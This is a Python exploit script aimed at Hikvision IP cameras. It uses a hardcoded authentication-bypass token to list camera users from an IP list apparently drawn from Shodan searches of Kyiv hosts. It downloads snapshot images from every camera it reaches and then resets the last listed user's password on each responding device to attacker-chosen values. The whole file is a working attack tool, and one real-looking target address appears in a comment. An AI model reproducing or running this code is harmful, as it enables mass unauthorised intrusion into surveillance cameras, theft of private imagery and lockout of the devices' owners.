import wget
import urllib.request
import re
import requests
import urllib.request
import xml.etree.ElementTree as ET

AUTH_CODE = 'auth=YWRtaW46MTEK'
USER_ENUMERATION_URL = '/Security/users?'
PASSWORD_CHANGE_URL = '/Security/users/{user_id}?{auth_code}'
CONTENT_TYPE = 'application/xml'
XML_PAYLOAD = """
<User version="1.0"xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>{user_id}</id>
<userName>{user_name}</userName>
<password>{password}</password>
</User>

"""
TIMEOUT = 10

class UserEnumerateException(Exception):
    pass

class NoUsersException(Exception):
    pass



class PasswordSet:
    def __init__(self, target, proto='http', password='qwe123456'):
        self.target = target
        self.proto = proto
        self.password = password
        self.users = []


    def get_users(self):
        r = urllib.request.urlopen(self.proto + '://' + self.target + USER_ENUMERATION_URL + AUTH_CODE, timeout=TIMEOUT)
        try:
            response_as_text = r.read().decode('utf-8')
            root = ET.fromstring(response_as_text)
            for user in list(root):
                user_id = None
                user_name = None
                for i in list(user):
                    if 'id' in i.tag:
                        user_id = i.text
                    if 'userName' in i.tag:
                        user_name = i.text
                if user_id and user_name:
                    self.users.append(
                        (user_id, user_name,)
                    )
        except Exception:
            raise UserEnumerateException

    def set_password(self):
        user_id, user_name = (0, 1,)
        payload = XML_PAYLOAD.format(
            user_id=self.users[-1][user_id],
            user_name=self.users[-1][user_name],
            password=self.password
        ).encode('utf-8')
        req = urllib.request.Request(
            url=self.proto + '://' + self.target + PASSWORD_CHANGE_URL.format(
                user_id=self.users[-1][user_id],
                auth_code=AUTH_CODE
            ),
            data=payload,
            method='PUT',
            headers={
                "content-type": CONTENT_TYPE
            }
        )
        with urllib.request.urlopen(req) as f:
            result = f.read().decode('utf-8')
            if '<statusCode>1</statusCode>' in result:
                return {
                    'result': True,
                    'host': self.proto + '://' + self.target,
                    'username': self.users[-1][user_name],
                    'password': self.password
                }
            else:
                return {
                    'result': False
                }



    def process(self):
        try:
            self.get_users()
            if len(self.users) == 0:
                raise NoUsersException
            return self.set_password()
        except (UserEnumerateException, NoUsersException, Exception):
            return {
                'result': False
            }


if __name__ == '__main__':

    list = []
    f = open('C:\\Users\\Admin\\Desktop\\SHODAN KIEV\\Взлом\\Exploit\\ip.txt', 'r')
    for line in f :
        list.append(line.replace('\n', ''))
    writeFile = open('C:\\Users\\Admin\\Desktop\\SHODAN KIEV\\Взлом\\Exploit\\brute ip.txt', 'w')
    j = 0
    for i in list:
        if str(re.search(r':(\d+)', i).group(1)) == "443":
            urlPrefix = 'https://'
        else :
            urlPrefix = 'http://'

        url = urlPrefix + '%s/Security/users?auth=YWRtaW46MTEK' % i
        #print(url)
        #res = wget.download(url)
        #qwe = wget.download('http://94.158.36.48:8060/Security/users?auth=YWRtaW46MTEK')

        try:
                with urllib.request.urlopen(url) as url:
                        s = url.read()
                        url = urlPrefix + '%s/onvif-http/snapshot?auth=YWRtaW46MTEK' % i
                        path = 'C:\\Users\\Admin\\Desktop\\SHODAN KIEV\\Взлом\\Exploit\\Result\\' + str(i.replace(':','_')) + ".jpeg"
                        #print(path)
                        urllib.request.urlretrieve(url, path)
                j+=1
                print("!!!!!!!!!!!" + str(i) +  " " + str(j))
                writeFile.write(str(i) + '\n')
        except urllib.error.URLError as e:
                print('URLError: ' + str(e.reason) + " " + str(i))
                continue
        except Exception as e:
                print("hyi znaet chto" + str(e) + " " + str(i) )
                continue


    f = open('C:\\Users\\Admin\\Desktop\\SHODAN KIEV\\Взлом\\Exploit\\brute ip.txt', 'r')
    for line in f:
        test_class = PasswordSet(
          target=line.replace('\n', ''),
          password='12345abc'
        )
        result = test_class.process()
        print(result)

    print("FINISHED")